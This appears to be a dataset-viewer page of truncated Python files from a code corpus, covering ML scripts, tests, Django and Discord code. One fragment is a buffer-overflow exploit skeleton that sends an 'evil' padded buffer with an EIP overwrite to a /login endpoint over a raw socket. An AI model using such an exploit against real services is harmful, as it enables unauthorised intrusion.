content stringlengths 5 1.05M |
|---|
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 9 13:37:50 2019
@author: Vu
"""
import sys
import matplotlib.pyplot as plt
sys.path.append('../')
sys.path.append('../../')
sys.path.append('../../environments')
sys.path.append('../utilities')
sys.path.append('/environments')
sys.path.append('../utilities')
from date... |
import pathlib
import pytest
import yaml
from prestoplot import storages
PATH = pathlib.Path(__file__).parent
DATA = PATH / "data"
@pytest.fixture(
params=[
storages.FileStorage,
storages.CachedFileStorage,
storages.CompilingFileStorage,
]
)
def fs(request):
return request.para... |
from robotpose.prediction.analysis import JointDistance
from robotpose import Predictor, JSONCoupling, LiveCamera, Dataset, Intrinsics
import numpy as np
from robotpose.utils import color_array
import cv2
from tqdm import tqdm
import logging
LENGTH = 3
ALLOWED_DEVIANCE = 0.2
MAX_PBAR = int(ALLOWED_DEVIANCE * 1000)
... |
import os
import sys
import time
import torch
import numpy
import random
import subprocess
def merge_dictionaries(dict1, dict2):
for key in dict2:
if key in dict1 and isinstance(dict1[key], dict) and isinstance(dict2[key], dict):
merge_dictionaries(dict1[key], dict2[key])
else:
... |
"""
Copyright 2013 Steven Diamond
This file is part of CVXPY.
CVXPY is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
CVXPY is distributed i... |
import argparse
from numpy.core.fromnumeric import shape
from tool.torch_utils import do_detect
import torch
import torch.backends.cudnn as cudnn
from tool.darknet2pytorch import Darknet
import timeit, time
import os
import numpy as np
import cv2
import json
import random
FRAME_SIZES = [64, 96, 128, 160, 192, 224, ... |
from django import template
register =template.Library()
@register.filter
def odd(x):
return x*2 |
from discord.ext import commands
class Context(commands.Context):
def __init__(self, **kwargs):
super().__init__(**kwargs)
self.raids = self.bot.raids
self.zones = self.bot.zones
self.bot_guild = self.bot.bot_guild
self.rsvp_channel = self.bot.rsvp_channel
self.rz =... |
# Copyright 2018 NTT DATA.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
from abc import ABC
from .module import Module
from .. import functional as F
from cranet import Tensor
from typing import (
Optional,
)
class _Loss(Module, ABC):
reduction: str
def __init__(self, reduction: str = 'mean') -> None:
super().__init__()
self.reduction = reduction
def _... |
# long = int(input())
prime_list = [2, 3]
def isPrime(n):
if n <= 3:
return True
for i in prime_list:
if n > i and n % i == 0:
return False
prime_list.append(n)
return True
def get_prime(num):
primes = []
tmp = num
cur = 2
while tmp > 0:
for i in ... |
import os
import json
import logging
import matplotlib.pyplot as plt
logger = logging.getLogger(__name__)
DIR = os.path.dirname(__file__)
class Laterality(object):
APARC_REGIONS = [
'bankssts',
'caudalanteriorcingulate',
'caudalmiddlefrontal',
'cuneus',
'entorhinal',
... |
"""
PyTorch task utilities.
"""
import torch.utils.tensorboard as tb
class TBLogger:
"""
TensorBoard logger class.
Referenced from: https://github.com/yunjey/pytorch-tutorial/blob/master/tutorials/04-utils/tensorboard/logger.py
"""
def __init__(self, log_dir):
""" Create a summary writer ... |
import itertools
x1, x2 = itertools.tee(x)
# you can now iterate on x1 and x2 separately
|
#######################################################
#Engineering World ECG Simulator Display
#RParkerE
#Python code for RPI ecg simulator display
#ecg_simulator.py
#######################################################
#! /usr/bin/python
import RPi.GPIO as GPIO
import time
import Adafruit_Nokia_LCD as LCD
imp... |
import os
from autocython import ensure_extensions_compiled
ensure_extensions_compiled(os.getcwd()) |
from sqlalchemy.sql.functions import func
from model.db import db
import json
from controller.util import DictToGeoJsonProp,ToFloat,MergeRowsToGeoJson
from controller.style import *
import datetime
from dateutil.relativedelta import *
import math
class LogicTopoWaterwork():
def FindWaterworkByID(self,param):
... |
# Copyright (c) Youngwan Lee (ETRI) All Rights Reserved.
from .center_heads import CenterROIHeads
from .proposal_utils import (
add_ground_truth_to_proposals,
add_ground_truth_to_proposals_single_image
)
from .sam import SpatialAttentionMaskHead
from .pooler import ROIPooler
from. mask_head import build_mask_head, ma... |
import numpy as np
import sklearn
import torch
import torch.nn as nn
from torch.autograd import Variable
from torch.nn.utils.rnn import pack_padded_sequence
import torch.nn.functional as F
from sklearn.metrics import roc_auc_score, average_precision_score
from ._BaseNN import _BaseNN
class ClfLSTM(_BaseNN):
'''
... |
import numpy as np
from config import opt
import feature as feat
from tqdm import tqdm
from model import UNet3D
import torch
import dataset
from torch.utils.data import DataLoader
from datetime import datetime
def dice_coefficient(y_pred, y_true):
smooth = 0.00001
y_true_f, y_pred_f = y_true.flatten(), y_pred... |
from godot_rl_agents.core.godot_env import GodotEnv
import pytest
@pytest.mark.parametrize(
"env_path,port",
[
(
"envs/builds/BallChase/ball_chase.x86_64",
12008,
),
(
"envs/builds/JumperHard/jumper_hard.x86_64",
12009,
),
... |
# -*- coding: utf-8 -*-
# Copyright 2021 Cohesity Inc.
class CentrifySchemaEnum(object):
"""Implementation of the 'CentrifySchema' enum.
Specifies the schema of this Centrify zone.
The below list of schemas and their values are taken from the document
Centrify Server Suite 2016 Windows API Programmer... |
class Card:
"""Card class."""
def __init__(self, value, color):
self.value = value
self.color = color
if __name__ == "__main__":
pass
|
num = int(input(f'\033[1;30m{"Conversor de bases númericas":^40} \nDigite o número: '))
base = 1
base = int(input("""\nEscolha a base:
[ 1 ]HEXADECIMAL
[ 2 ]BINÁRIO
[ 3 ]OCTAL
"""))
h = ['10', '11', '12', '13', '14', '15']
hexa = ['a', 'b', 'c', 'd', 'e', 'f']
r1 = []
c, c1 = 0, 0
n = num
r = ''
para, a... |
import pika
import mykeys
connection = pika.BlockingConnection(pika.URLParameters(mykeys.cloudamqplink))
channel = connection.channel()
channel.queue_declare(queue='myWorkingQueue', durable=True)
count = 0
def callback(ch, method, properties, body):
global count
count += 1
print("Count: " + str(count) + "... |
import Augmentor
import os
import glob
import time
from benchmark_enum import BenchmarkType
# https://github.com/mdbloice/Augmentor
def invoke(num=100, benchmark_type=BenchmarkType.RESIZE, multithreaded=True) -> float:
files = glob.glob('./dataset/augmentor_output/*')
for f in files:
os.remove(f)
... |
__author__ = 'youngsoul'
import time
import MultiMatrix8x8Display
time1 = time.strftime("%I:%M")
if time1.startswith("0"):
time1 = time1[1:]
time2 = time1+"."
d = MultiMatrix8x8Display(repeat_delay=0, scroll_delay=0.05, font_size=10, font_path="/home/pi/dev/MatrixDisplay/fonts/SFPixelate.ttf")
x = d.get_start... |
import math
n = float(input('Digite um numero:'))
r=math.trunc(n)
print(r)
|
"""Assertion helper functions."""
import re
from typing import Any, Dict, List
from shipengine.enums import Country, ErrorCode, ErrorSource, ErrorType
from ..errors import (
ClientSystemError,
ClientTimeoutError,
InvalidFieldValueError,
RateLimitExceededError,
ShipEngineError,
ValidationError,... |
# Copyright (c) 2015 - 2021, Intel Corporation
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and... |
from typing import Dict
from django.template import Context, Template
from django.utils.safestring import SafeString
from markdown import markdown
from bridger.settings import bridger_settings
def load_registered_templatetags() -> str:
"""Assembles the templatetags that are registered to bridger in the django l... |
from jira import JIRA
import csv
import codecs
import datetime
options = {'server': '*'}
jira = JIRA(options, basic_auth=("*", "*"))
project = '*'
#projects = jira.projects()
#for i in projects:
# print(i) # prints all of the projects
#print("")
#for project in projects:
all_issues = jira.search_issu... |
from spaceone.inventory.libs.manager import AzureManager
from spaceone.inventory.libs.schema.base import ReferenceModel
from spaceone.inventory.model.disk import *
from spaceone.inventory.model.disk.cloud_service import *
from spaceone.inventory.connector.disk import DiskConnector
from spaceone.inventory.connector.subs... |
#!usr/bin/env python3
# -*- coding:utf-8 -*-
'''
Write a function to find the longest common prefix string amongst an array of strings.
'''
class Solution(object):
def longestCommonPrefix(self, strs):
"""
:type strs: List[str]
:rtype: str
"""
if not strs:
return... |
class Solution:
def hammingDistance(self, x: int, y: int) -> int:
x = x ^ y
y = 0
while(x != 0):
if(x % 2):
y += 1
x //= 2
return y |
import streamlit as st
import cv2 as cv
st.title("Drawing Shapes and Text")
st.header("Input Image")
img_bgr = cv.imread("images/flower.jpg")
st.image(cv.cvtColor(img_bgr, cv.COLOR_BGR2RGB), caption="Input")
st.header("Shape Selection")
shape_option = st.selectbox(
"Select a shape", ("Rectangle", "Circle", "Line... |
"""Tests versioned_dataset.py."""
import os
import shutil
import pytest
from mlops.dataset.versioned_dataset_builder import VersionedDatasetBuilder
from mlops.dataset.versioned_dataset import VersionedDataset
from tests.dataset.test_versioned_dataset_builder import (
_remove_test_directories_local,
_create_tes... |
from microbit import *
# r0 - the number of bits to shift for given pin
@micropython.asm_thumb
def asm_read_digital(r0):
mov(r1, 0x50) # r1=0x50
lsl(r1, r1, 16) # r1=0x500000
add(r1, 0x05) # r1=0x500005
lsl(r1, r1, 8)
add(r1, 0x10) # r1=0x50000510 -- this points to GPIO ... |
# Author: Ivor Simpson, University of Sussex (i.simpson@sussex.ac.uk)
# Purpose: Code for preparing real data for further analysis
import nibabel as nib
import numpy as np
data_dir = '/Users/is321/Documents/Data/qBold/hyperv_data/'
def estimate_noise_level():
import matplotlib.pyplot as plt
subjects = ['CIS... |
import unittest
import solution
class TestQ(unittest.TestCase):
def test_case_0(self):
self.assertEqual(solution.circularArrayRotation([1, 2, 3], 2, [0, 1, 2]), [2, 3, 1])
if __name__ == '__main__':
unittest.main()
|
from django.conf import settings
from django.utils import translation
from django.utils.functional import cached_property
from rest_framework import serializers
from rest_framework.schemas import AutoSchema
from rest_framework.views import APIView
from oidc_apis.models import ApiScope
from oidc_apis.scopes import Comb... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# vim: ai ts=4 sts=4 et sw=4 nu
from __future__ import (unicode_literals, absolute_import,
division, print_function)
''' Stub handler module for OrangeAPISMS
Copy handlers definitions to your module and change the
ORANGE_API_HANDLER_MODULE... |
# winspec.py, COM wrapper for use with Roper Scientific's Winspec
# Reinier Heeres <reinier@heeres.eu>, 2009
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or... |
import unittest
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from data import Logins,Logouts,AddDeals_vars,ToolBar,Index_vars
from requests import get
import helper
import time
class indexPage(unittest.TestCase):
def setUp(self):
self.browser = webdriver.Chrome()
self.brow... |
from pubnub.endpoints.endpoint import Endpoint
from pubnub.endpoints.objects_v2.objects_endpoint import ChannelIncludeEndpoint
from pubnub.endpoints.objects_v2.memberships.get_memberships import GetMemberships
from pubnub.endpoints.objects_v2.memberships.manage_memberships import ManageMemberships
from pubnub.endpoints... |
#!/usr/bin/env python
import pandas as pd
import numpy as np
import argparse as ap
import sys, os
def read_params():
p = ap.ArgumentParser(description=\
"This program computes an oral-introgression score given "
"a query, **gut** metagenomic dataset and 1 of "
"\n - an oral-only instanc... |
# coding: utf-8
from __future__ import unicode_literals
from logging import getLogger
from pprint import pformat
import sys
import time
import requests
from six import text_type, PY2
from .network_interface import Network, NetworkResponse
from ..util.log import sanitize_dictionary
class DefaultNetwork(Network):
... |
expected_output = {
"protocols": {
"application": {
"update_frequency": 0,
"invalid": 0,
"holddown": 0,
"flushed": 0,
"outgoing_filter_list": "not set",
"incoming_filter_list": "not set",
"maximum_path": 32,
"pre... |
import requests
x = requests.head('https://roblox.com/home')
print(x.headers) |
from elixir import Entity, Field, String, Integer, Boolean, setup_all, session
from sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound
from xsbs.settings import loadPluginConfig
from xsbs.net import ipLongToString, ipStringToLong
from xsbs.timers import addTimer
from sqlalchemy import Column, Integer, Strin... |
from ..datastore import db
from datetime import datetime
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.ext.associationproxy import association_proxy
class Product(db.Model):
'''
Notes:
- different vendors can products with the same SKU
- a single vendor cannot have different products... |
"""
author: Colin Bradley
last updated: 03/02/2021
This script is the lightFM version of the recommender system. It is deprecated.
"""
#standard stuff
import numpy as np
import pandas as pd
# model imports
import random
from scipy.sparse import coo_matrix as cm
import lightfm as lf
from lightfm.evaluation import p... |
# (c) 2012-2018, Ansible by Red Hat
#
# This file is part of Ansible Galaxy
#
# Ansible Galaxy is free software: you can redistribute it and/or modify
# it under the terms of the Apache License as published by
# the Apache Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
... |
import os
from secrets import token_hex
from meltano.api.config import ProjectSettings as APIProjectSettings
# session are used internally to verify the tokens
SECRET_KEY = token_hex(64)
class ProjectSettings(APIProjectSettings):
settings_map = {
"SERVER_NAME": "ui.server_name",
"SESSION_COOKIE_... |
from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
class DjangoPositions2Config(AppConfig):
name = 'django_positions_2'
verbose_name = _("Django Positions - 2")
|
# -*- coding: utf-8 -*-
"""
Extract strings from php files and upload them
"""
#%% extract strings
import subprocess
subprocess.call(['manage/xgettext',
"header.php",
"footer.php",
"update-browser.php",
"--keyword=T_gettext",
"--ke... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Humidity profile calculator tools.
Created on Sat Nov 19 11:21:01 2016
@author: maxwell
"""
__all__ = ['manaberh']
import numpy as np
def manaberh(p):
"""
Manabe 1967 humidity profile.
Expects argument p to be a numpy array in ascending order (surfa... |
from gym_carla.example_suites.corl_2017 import CoRL2017
from gym_carla.experiment_suite.experiment import Experiment
class TrainingSuite(CoRL2017):
def __init__(self, city_name, subset=None):
self._subset = subset
super(TrainingSuite, self).__init__(city_name)
def build_experiments(self):
... |
import numpy as np
import tensorflow as tf
from utils import *
def Foggify(img_l, img_ref, depth):
"""
img_l, img_r: tf.tensor, 0 ~ 1
"""
beta_class = [0.003, 0.005, 0.007, 0.01]
beta_idx = np.random.choice(len(beta_class))
beta = beta_class[beta_idx]
t = tf.math.exp(-1*beta*depth)
img_... |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import division,print_function,absolute_import,unicode_literals
import sys
import os
os.chdir(sys.path[0])
sys.path.append("LTsv")
from LTsv_printf import *
from LTsv_file import *
#from LTsv_time import *
#from LTsv_calc import *
#from LTsv_joy ... |
import logging
from typing import Optional
import ormar
import stripe
from src.association.settings import (
ASSOCIATION_FRONTEND_URL,
STRIPE_SUBSCRIPTION_PRICE_ID,
)
from src.association_membership.domain.entities import Subscription, SubscriptionStatus
from src.customers.domain.entities import Customer
log... |
import unittest
from .async_test import async_test
from BubotObj.OcfDevice.subtype.Device.QueueMixin import QueueMixin
import asyncio
import logging
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s %(name)s.%(funcName)s +%(lineno)s: %(levelname)-8s [%(process)d] %(message)s',
... |
#!/usr/bin/env python3
from pyb00st.movehub import MoveHub
from pyb00st.constants import *
from time import sleep
import os
MY_MOVEHUB_ADD = os.environ.get('MYMOVEHUB')
MY_BTCTRLR_HCI = 'hci0'
mymovehub = MoveHub(MY_MOVEHUB_ADD, 'BlueZ', MY_BTCTRLR_HCI)
try:
mymovehub.start()
mymovehub.subscribe_all()
... |
import numpy as np
import tensorflow as tf
import os
import os.path as op
import random
import shutil
import time
from datetime import datetime
slim = tf.contrib.slim
'''
def network_architecture(input, numb_class, is_training, is_reuse, name=None):
if not name == None:
with tf.variable_scope(name):
... |
__module_name__ = 'hlphrase'
__module_description__ = 'highlights phrases instead of just single words'
__module_version__ = '1.0'
import hexchat, re
CONFFILE = hexchat.get_info('configdir') + '/hlphrase.conf'
list=[]
hexchat.prnt('%(name)s, version %(version)s' % {'name': __module_name__, 'version': __module_vers... |
from flask.ext.wtf import Form
from wtforms import TextAreaField, TextField, BooleanField, validators, ValidationError
from wtforms.validators import Required
class CallbackSubmit(Form):
#rec = TextField('TestRecipient', [validators.Required('Please enter the testing recipient')])
ddi = TextField('DDI', [valid... |
__all__ = ['cli_find_msvc_location']
from pathlib import Path
from typing import NoReturn, Optional, Union
from ...cli import *
from .impl import *
from build_system.compiler import *
from error import *
def _find_no_arg(compiler_installation_path: Optional[Path] = None) -> Union[Path, NoReturn]:
compiler_insta... |
from boxwise_flask.db import db
from peewee import CharField, IntegerField
class UsergroupAccessLevel(db.Model):
label = CharField(null=True)
level = IntegerField(null=True)
shortlabel = CharField(null=True)
class Meta:
table_name = "cms_usergroups_levels"
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Authored By :- Rajnish.Kumar
# Created On :- 8/21/2021 2:51 PM
# __progname :- df04_createDataFrameFromCsv.py
from pyspark.sql import SparkSession
sc = SparkSession.builder.master("local[1]").appName("df04_createDataFrameFromCsv").getOrCreate()
df_csv = ... |
def show_shotness_stats(data):
top = sorted(((r.counters[i], i) for i, r in enumerate(data)), reverse=True)
for count, i in top:
r = data[i]
print("%8d %s:%s [%s]" % (count, r.file, r.name, r.internal_role))
|
from neuroBN.utils.class_equivalence import *
from neuroBN.utils.data import *
from neuroBN.utils.discretize import *
from neuroBN.utils.graph import *
from neuroBN.utils.hybrid_distance import *
from neuroBN.utils.independence_tests import *
from neuroBN.utils.markov_blanket import *
from neuroBN.utils.orient_edges im... |
from typing import List
from typing import Union
from shapely.geometry import base
from shapely.geometry import Point
from shapely.geometry import MultiPoint
from shapely.geometry import LineString
from shapely.geometry import LinearRing
from shapely.geometry import MultiLineString
from shapely.geometry import Polyg... |
"""
Given a string s, return the longest palindromic substring in s.
Example 1:
Input: s = "babad"
Output: "bab"
Explanation: "aba" is also a valid answer.
Example 2:
Input: s = "cbbd"
Output: "bb"
Constraints:
1 <= s.length <= 1000
s consist of only digits and English letters.
"""
class Solution:
def lo... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright (c) 1999-2017, Juniper Networks Inc.
# 2014, Jeremy Schulman
#
# All rights reserved.
#
# License: Apache 2.0
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions a... |
import abc
class HadoopClusterConfig(object):
__metaclass__ = abc.ABCMeta
@abc.abstractproperty
def managed_resource(self):
pass
@abc.abstractproperty
def apply_config_properties(self, operator_properties, config_properties):
pass
@abc.abstractproperty
def mapreduce_oper... |
from unittest import mock
import unittest
import zeit.cms.testing
class TestJSON(unittest.TestCase):
def test_dict_result_should_pop_template(self):
from zeit.cms.browser.view import JSON
class View(JSON):
def json(self):
return result
resource_url = mock.... |
# Copyright 2015 Huawei.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
"I want to rename this{to_be_r<caret>enamed}".format(**{"to_be_renamed": "value"}) |
# -*- coding: utf-8 -*-
"""
Download and Import Hockey Results.
@author: Scott
"""
# %% Setup
# Standard Modules
import pandas as pd
import numpy as np
import time
from datetime import date
import h5py
# Custom Modules
from utils.ForcePickle import pickle_protocol
# %% Files
dataFolder = 'Data/'
gameDataRaw = 'Resu... |
from .retrieve import do_download
from .process import do_processing
from .export import compile_symbols
|
import librosa
import numpy as np
import os
import pyworld
import scipy.io.wavfile as scwav
import scipy.ndimage.filters as scifilt
import scipy.fftpack as scfft
from joblib import Parallel, delayed
def load_wavs(wav_dir, sr):
wavs = list()
for file in sorted(os.listdir(wav_dir)):
file_path = os.path... |
#!/usr/bin/env python
import itertools
import math
from datetime import timedelta, datetime
import dateutil.parser
import operator
import os
import pytz
import re
import stravalib.client
from collections import OrderedDict
from flask import Flask, render_template, flash, redirect, request, url_for, session, Response,... |
# -*- coding: utf-8 -*-
# File: src/webframe/admin.py
# Date: 2019-11-21 14:55
# Author: Kenson Man <kenson@breakthrough.org.hk>
# Desc: The file provide the Admin-Tools in webframe module
from ajax_select import make_ajax_form
from ajax_select.admin import AjaxSelectAdmin
from ajax_select.fields import AutoCompl... |
# -*- encoding: utf-8 -*-
'''
Current module: pyrunner.ext.datafile.excel
Rough version history:
v1.0 Original version to use
********************************************************************
@AUTHOR: Administrator-Bruce Luo(罗科峰)
MAIL: lkf20031988@163.com
RCS: pyrunner.ext.datafil... |
#!/usr/bin/env python3
import datetime
import json
import logging
import os
import sqlite3
import subprocess
import sys
import time
from pathlib import Path
from sqlite3 import Error
import paho.mqtt.client as mqtt
import requests
logging.basicConfig(level=logging.DEBUG,
format='[%(asctime)s] [%(l... |
# Generated by Django 2.2.9 on 2020-01-13 05:56
from django.db import migrations, models
import sberbank.sberbank_settings
class Migration(migrations.Migration):
dependencies = [
('sberbank', '0007_auto_20191204_1542'),
]
operations = [
migrations.AddField(
model_name='payme... |
import os
# Service for testing
SERVICE_NAME = "device-virtual"
PREFIX = "Virtual"
SECURITY_SERVICE_NEEDED = os.getenv("SECURITY_SERVICE_NEEDED")
if SECURITY_SERVICE_NEEDED == 'true':
SERVICE_PORT = "8443/device-virtual"
else:
SERVICE_PORT = 59900
SUPPORTED_DATA_TYPES = [
# Boolean
{"dataType": "... |
from .stream_manager import StreamManager
from .synced_reader import SyncedStreamReader
|
from ray.ml.preprocessors.batch_mapper import BatchMapper
from ray.ml.preprocessors.chain import Chain
from ray.ml.preprocessors.encoder import OrdinalEncoder, OneHotEncoder, LabelEncoder
from ray.ml.preprocessors.hasher import FeatureHasher
from ray.ml.preprocessors.imputer import SimpleImputer
from ray.ml.preprocesso... |
# RPLIDAR Script
from pyrplidar import PyRPlidar
import time
from tkinter import *
from tkinter import font as tkFont
from matplotlib.backends.backend_tkagg import (
FigureCanvasTkAgg, NavigationToolbar2Tk)
# Implement the default Matplotlib key bindings.
from matplotlib.backend_bases import key_press_handler
fro... |
#!/usr/bin/python
import socket
try:
print "\n Sending ""evil"" buffer..."
padding = "A" * 780
eip = "B" * 4
buffer = "C" * 16
payload = padding + eip + buffer
content = "username=" + payload + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 192.168.1.1\r\n"
buf... |
# -*- coding: utf-8 -*-
from jira2app.models import Project, Ticket
from rest_framework import viewsets
from rest_framework.authentication import TokenAuthentication
from rest_framework.permissions import IsAuthenticated
from rest_framework.decorators import action
from .serializers import ProjectSerializer, TicketDet... |
#
# Generated by TigerShark.tools.convertPyX12 on 2014-06-30 18:14:56.440530
#
from tigershark.X12.parse import Message, Loop, Segment, Composite, Element, Properties
parsed_271_2100A = Loop(
u'2100A',
Properties(
position=u'0300', looptype='', repeat=u'1', req_sit=u'R',
desc=u'Information Sou... |
# coding=utf-8
from __future__ import absolute_import, division, print_function, unicode_literals
from amaasutils.logging_utils import DEFAULT_LOGGING
from decimal import Decimal
import unittest
from amaascore.assets.interface import AssetsInterface
from amaascore.books.interface import BooksInterface
from amaascore.... |
# Import Kratos core and apps
import KratosMultiphysics as KM
import KratosMultiphysics.ShapeOptimizationApplication as KSO
# Additional imports
from KratosMultiphysics.KratosUnittest import TestCase
from KratosMultiphysics.ShapeOptimizationApplication.mapper_factory import CreateMapper
class PlaneSymmetryMapperTest... |
matrix_line_color = '#fff'
matrix_background_color = '#eee'
matrix_border_color = '#888'
matrix_border_width = 0.18
cc = { # cycle colors
'axis': 'ff0000',
'maindiag': '00438a',
'bigcyc': 'ba1000',
'with0': 'ff5500',
'without0': 'e23287',
'lighttetra': 'da691e',
'darktetra': '7b2e13'
}
id... |
# -*- encoding: utf-8 -*-
from django.test import TestCase
from model_mommy import mommy
from bpp.models import Autor
from bpp.util import get_copy_from_db, has_changed, slugify_function
class TestUtil(TestCase):
def test_slugify_function(self):
test = "Waldemar A. Łącki,,()*':;\r\n[]"
result = ... |
# coding=utf-8
from __future__ import unicode_literals
from flask import Blueprint
test_pay_entry_mod = Blueprint('test_pay_entry', __name__, template_folder='./templates')
from . import pay_views, refund_views, pay_to_bankcard_views
|
# encoding: utf-8
import django
def pytest_configure(config):
from django.conf import settings
settings.configure(
DEBUG_PROPAGATE_EXCEPTIONS=True,
DATABASES={
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': ':memory:'
}
... |
class super_permission:
pass
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.